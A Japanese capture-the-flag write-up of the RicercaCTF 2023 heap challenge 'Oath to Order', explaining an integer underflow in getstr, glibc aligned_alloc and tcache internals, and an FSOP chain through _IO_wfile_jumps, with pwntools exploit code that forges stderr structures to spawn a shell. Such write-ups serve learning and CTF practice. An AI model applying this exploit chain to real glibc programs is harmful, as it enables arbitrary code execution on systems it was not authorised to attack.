Oath to Order - RicercaCTF 2023
概要
RicercaCTF 2023で出題された「Oath to Order」について復習したのでまとめてみた。
source code
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define NOTE_LEN 10
#define MAX_SIZE 300
char* notes[NOTE_LEN];
void print(const char *msg) {
write(STDOUT_FILENO, msg, strlen(msg));
}
void getstr(char *buf, unsigned size) {
while (--size) {
if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
exit(1);
else if (*buf == '\n')
break;
buf++;
}
*buf = '\0';
}
unsigned getint(void) {
char buf[0x10] = {};
getstr(buf, sizeof(buf));
return atoi(buf);
}
void create(void) {
unsigned idx, size, alignment;
print("index: ");
if ((idx = getint()) >= NOTE_LEN) {
print("invalid index\n");
return;
}
print("size: ");
if ((size = getint()) >= MAX_SIZE) {
print("invalid size\n");
return;
}
print("alignment: ");
if ((alignment = getint()) >= MAX_SIZE) {
print("invalid alignment\n");
return;
}
notes[idx] = aligned_alloc(alignment, size);
print("note: ");
getstr(notes[idx], size);
}
void show(void) {
unsigned idx;
print("index: ");
if ((idx = getint()) >= NOTE_LEN || !notes[idx]) {
print("invalid index\n");
return;
}
print(notes[idx]);
print("\n");
}
int main(void) {
while (1) {
print("1. Create\n"
"2. Show\n"
"> ");
switch (getint()) {
case 1:
create();
break;
case 2:
show();
break;
default:
exit(0);
}
}
}
脆弱性
getstr関数に脆弱性がある。sizeに0を渡すと-1, -2, -3...となるため、任意長の書き込みを行うことができる。
void getstr(char *buf, unsigned size) {
while (--size) {
if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
exit(1);
else if (*buf == '\n')
break;
buf++;
}
知識
aligned_allocについて
今回の問題ではメモリ確保にaligned_allocが使われている。これは__libc_memalignのaliasになっている。(以下参照)
__libc_memalignは以下で定義されている。これが呼ばれると__mid_memalignが呼ばれることが分かる。
ソースコードを読むと__mid_memalignは以下のように動作することが分かる。
- alignmentがMALLOC_ALIGNMENT以下だった場合は__libc_mallocを呼ぶ
- それ以外の場合はalignmentを一番近い2の累乗に切り上げて_int_memalignを呼ぶ
_int_memalignの定義は以下。
ソースコードを読むと以下のように動作することが分かる。
- nb(= request2size(bytes)) + alignment + MINSIZE(=0x20)分_int_mallocでメモリを確保
- alignmentに合うアドレスを見つける
- 余った部分を _int_freeで開放する
重要なのはaligned_allocの中に_int_freeを呼び出すパスがあること。今回の問題ファイルにはfree関数が無いためこれを上手く使ってlibc baseをleakする。さらにalignmentがMALLOC_ALIGNMENT以下の時にのみ、__mid_memalignが__libc_mallocを呼び出すことも重要。__libc_mallocの定義は以下。
3193行目に注目。
MAYBE_INIT_TCACHE ();
MALLOC_INIT_TCACHEマクロは以下のように定義されている。
# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init();
tcache_init関数の定義は以下。
この関数は名前通りtcacheの初期化を行う。sizeof(tcache_perthread_struct)を_int_mallocで確保して0初期化している。__libc_mallocが呼び出されるのはalignmentがMALLOC_ALIGNMENT以下の時のみだった。これを上手く利用することで、任意書き込みが行えるchunkの後ろにtcacheを配置することができる。 これによりtcache-poisoningが簡単に行えるようになる。
_IO_FILE_plus構造体
stderrやstdoutは_IO_FILE_plus構造体になっている。定義は以下。
_IO_jump_t構造体の定義は以下。
vtableを切り替えることで使用する関数を変えれるようになっている。ただしこのような攻撃の対策としてvtableが__libc_IO_vtablesセクション内か確認する処理がある。
FILE構造体は_IO_FILE構造体のtypedefで、以下で定義されている。
82行目からの部分が以下のようになっており、IO_USE_OLD_IO_FILEがdefineされている場合はoffset以降が_IO_FILE構造体のメンバとして追加されるようになっている。
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
FSOP in libc2.34
libc2.34から_malloc_hookや__free_hookが削除された[1]ので、これをone_gadgetやsystem関数に書き変えてshellを起動することはできない。そこでFSOPを使う方針で行く。FSOPでshellを起動する手法として_IO_str_overflowを用いる手法[2]が知られているが、_s._allocatebufferをmallocに置き換えるパッチ[3]が適用されたので、これも使うことができない。libc2.34でFSOPによりPCを奪取する方法として_IO_wfile_jumps.__overflowを用いる手法[4]がある。
_IO_wfile_jumps.__overflowは_IO_wfile_overflowになっている。定義は以下。
422行目の以下の処理を実行するのが目標。
_IO_wdoallocbuf (f);
まずそもそも_IO_wfile_jumps.__overflowを呼び出すためにexitを呼び出して最終的に_IO_flush_all_lookupを呼び出す必要がある。この関数の定義は以下。
以下の部分でvtable->__overlfowを呼び出す。
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
__overflowを呼び出すためには以下のいずれかの条件を満たす必要がある。
- fp->_mode <= 0 かつ fp->_IO_write_ptr > fp->_IO_write_base
- fp->_mode > 0 かつ fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
この条件を満たせば__overflowが呼び出される。第一引数にはfpが渡される。この時に_IO_wfile_overflowを呼び出すため、vtableを&_IO_wfile_jumpsに改竄する必要がある。これで_IO_wfile_overflowが呼び出される。最終的な目標は422行目の以下の処理を実行することだった。
_IO_wdoallocbuf (f);
この処理に到達するために以下の条件を満たす必要がある。
- f->_flags & _IO_NO_WRITES(=0x8) == 0
- (f->_flags & _IO_CURRENTLY_PUTTING(=0x800)) == 0
- f->_wide_data->_IO_write_base == 0
これで_IO_wdoallocbufが呼び出される。この関数の定義は以下。
371行目の以下の処理を実行するのが目標。
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
この部分を実行するために以下の条件を満たす必要がある。
- fp->_wide_data->_IO_buf_base == 0
- fp->_flags & _IO_UNBUFFERED(=0x0x0002) == 0
_IO_WDOALLOCATEマクロの定義は長いので載せない。最終的にf->_wide_data->_wide_vtable->__doallocateが呼び出される。_doallocateを&systemにして、fpの先頭に"/bin/sh"を置けばshellが起動できる。
exploit
前準備
繰り返し使う処理を関数としてまとめておく。
def create(idx : hex, size: hex, align: hex, note: bytes):
io.sendlineafter(b'> ', str(1).encode())
io.sendlineafter(b'index: ', str(idx).encode())
io.sendlineafter(b'size: ', str(size).encode())
io.sendlineafter(b'alignment: ', str(align).encode())
io.sendlineafter(b'note: ', note)
def show(idx: hex) -> bytes:
io.sendlineafter(b'> ', str(2).encode())
io.sendlineafter(b'index: ', str(idx).encode())
return io.recvline()
libc base leak
# libc base leak
create(0, 0, 0xf0, b'a' * 0x10 + pack(0xf0) + pack(0x40)[:-1])
create(1, 0, 0, b'b' * 0x18 + pack(0xf1)[:-1])
create(2, 0xd0 - 8, 0, b'c')
libc_base = unpack(show(0).rstrip().ljust(8, b'\0')) - 0x219ce0
log.info('libc_base: %#016lx', libc_base)
exploitを動かしながら確認してみる。(手元にglibc-2.34が無かったので動かすときはglibc-2.31を用いている。offsetが変わるけどやっていることは変わらないので問題ない)まず一つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。nb(=0x20) + alignment(=0x100) + MINSIZE(=0x20)が_int_mallocで確保され、alignmentに合うアドレスが返される。前と後ろのchunkはfreeされている。ここで確保されたchunkを以降chunkAと呼ぶ。
その後getstr関数の実行によりfastbin(0x40)に入っているchunkのprev_sizeが0xf0に、sizeが0x40に書き変わる。PREV_INUSEを0にしていることがポイント。
次に二つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。
alignementは0なので先ほどunsorted binに入っていたchunkから切り出される。切り出された後のchunkサイズは0xf0 - 0x20 = 0xd0であり、unsorted binに繋がる。また、fastbinにつながっているchunkの後ろに0x290バイトのchunkが確保されている。これがtcache。(sizeof(struct tcache_perthread_struct) = 0x280)
その後getstr関数の実行によりunsorted binに入っているchunkのサイズが0xf0に書き変わる。
ひとつ前のcreateでfastbinに入っているchunkのperev_sizeを0xf0に、sizeのPREV_INUSEを0にしていたことを思い出してほしい。これにより unsorted binに入っていたchunk(size=0xd0) + chunkA(size=0x20)が一つのfree chunkとして扱われる。
最後に三つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。前のcreateによってunsorted binに元々入っていたchunk(size=0xd0)とchunkA(size=0x20)が一つのfree chunkとして扱われていた。三つ目のcreateで要求しているサイズは0xd0なのでこれがfree chunkから切り出され、残りの部分、即ち chunkAがunsorted binに繋がれる。
後はchunkA.fdを読み出せばそこからlibc baseが計算できる。
FSOP
今heapは以下のようになっている。
fastbinに入っているchunkの後ろにある0x290バイトはtcacheだった。そして今chunkA(size = 0x20)はunsorted binに繋がっている。次のaligned_allocでchunkAを取り出すことでtcache-poisoningを簡単に行うことができる。やりたいことはstderrを改竄してFSOPによりshellを起動することだったので、tcache(0x20)に&_IO_2_1_stderr_を入れる。そのためのコードが以下。
# FSOP
# fake tcache
stderr = libc_base + 0x21a6a0
tcache = p16(1)
tcache = tcache.ljust(0x80, b'\0')
tcache += pack(stderr)
create(3, 0, 0, b'\0' * 0x58 + pack(0x291) + tcache)
このcreateを実行する。aligned_allocの呼び出し後は以下のようになる。chunkAが返っていることが分かる。
その後getstr関数の実行によりtcahce(0x20)に&_IO_2_1_stderr_が入る。
次のaligned_allocで0x20バイト要求すれば今tcache(0x20)に入れたアドレス、即ち&_IO_2_1_stderr_が返るので_IO_2_1_stderr_を改竄できる。満たすべき条件は以下だった。
- fp->_mode > 0 かつ fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
- f->_flags & _IO_NO_WRITES(=0x8) == 0
- (f->_flags & _IO_CURRENTLY_PUTTING(=0x800)) == 0
- fp->_flags & _IO_UNBUFFERED(=0x0x0002) == 0
- f->_wide_data->_IO_write_base == 0
条件を満たしつつshellを起動するためには各メンバを以下のようにセットすればよい。
- stderr->_flags = " /bin/sh\0"(先頭にSP2個)
- stderr->_mode = 1
- stderr->_wide_data = &_IO_2_1_stdout
- stderr->vtable = &_IO_wfile_jumps
- stderr->_wide_data->_IO_write_base == 0
- stderr->_wide_data->_IO_write_ptr = 1
- stderr->_wide_data->_wide_vtable = &_IO_2_1_stdout
- (struct _IO_jump_t *)stderr->__overflow = &system
stderrの先頭には"/bin/sh\0"を置く必要があるがこの部分は_flagsなので条件を満たすために二つのSP(=0x20)をいれている。stderr->_wide_dataとstderr->_wide_data->_wide_vtableを&_IO_2_1_stdoutにしているところがポイント。_IO_2_1_stdoutは_IO_2_1_stderrのすぐ後ろの領域なのでこれにより一度の書き込みで済む。これが上手くいくのは問題ファイルで入出力にread/writeが使われているためであることに注意。exploitは以下のようになる。
stdout = stderr + 0xe0
system = libc_base + 0x50d60
wfile_jumps = libc_base + 0x2160c0
# fake _IO_FILE_plus struct
fake_file = b' /bin/sh\0' # _flags
fake_file = fake_file.ljust(0xa0, b'\0')
fake_file += pack(stdout) # _wide_data
fake_file = fake_file.ljust(0xc0, b'\0')
fake_file += p32(1) # _mode
fake_file = fake_file.ljust(0xd8, b'\0')
fake_file += pack(wfile_jumps) # vtable
# fake _IO_wide_data & _IO_jump_t struct
fake_wide_data = pack(0) * 4
fake_wide_data += pack(1) # _IO_write_ptr
fake_wide_data = fake_wide_data.ljust(0x8 * 13, b'\0')
fake_wide_data += pack(system) # __doallocate
fake_wide_data = fake_wide_data.ljust(0xe0, b'\0')
fake_wide_data += pack(stdout)
create(4, 0, 0, fake_file + fake_wide_data)
このcreateを実行する。aligned_allocの呼び出しにより&_IO_2_1_stderrが返る。
getstr関数実行後の_IO_2_1_stderr以下のようになる。
_IO_2_1_stderr._wide_dataは&_IO_2_1_stdoutになる。ここをstruct _IO_wide_dataとして解釈すると以下のようになる。
_IO_2_1_stderr._wide_data._wide_vtableも&_IO_2_1_stdoutになる。ここをstruct _IO_jumpt_tとして解釈すると以下のようになる。
各メンバをうまく改竄できていることが分かる。後はexitを呼び出せばよい。
io.sendlineafter(b'> ', b'3')
io.interactive()
これを実行すると以下のようになり、flagがゲットできる。
考察
今回のexploitでは_IO_wfile_overflowが最終的にf->_wide_data->_wide_vtable->__doallocateを呼び出すことを利用した。__doallocateを呼び出しているのは_IO_WDOALLOCATEマクロだった。このマクロと関連するマクロの定義を以下に示す。
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
重要なのはf->vtableとは異なり、f->_wide_data->_wide_vtableに何もチェックがないこと。f->vtableを使用する際は_IO_JUMPS_FUNCマクロが使用されており、IO_validate_vtable関数によってf->vtableが__libc_IO_vtablesセクション内になっているかチェックされる。
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
f->_wide_data->_wide_vtableのデフォルト値である_IO_wfile_jumpsも__libc_IO_vtablesセクション内にあるのになぜチェックされていないのかは謎だが、このおかげで今回の攻撃はうまく。f->_wide_data->_wide_vtableにf->vtable同様のチェックが入った場合は今回の攻撃はうまくいかない。
参考文献
Discussion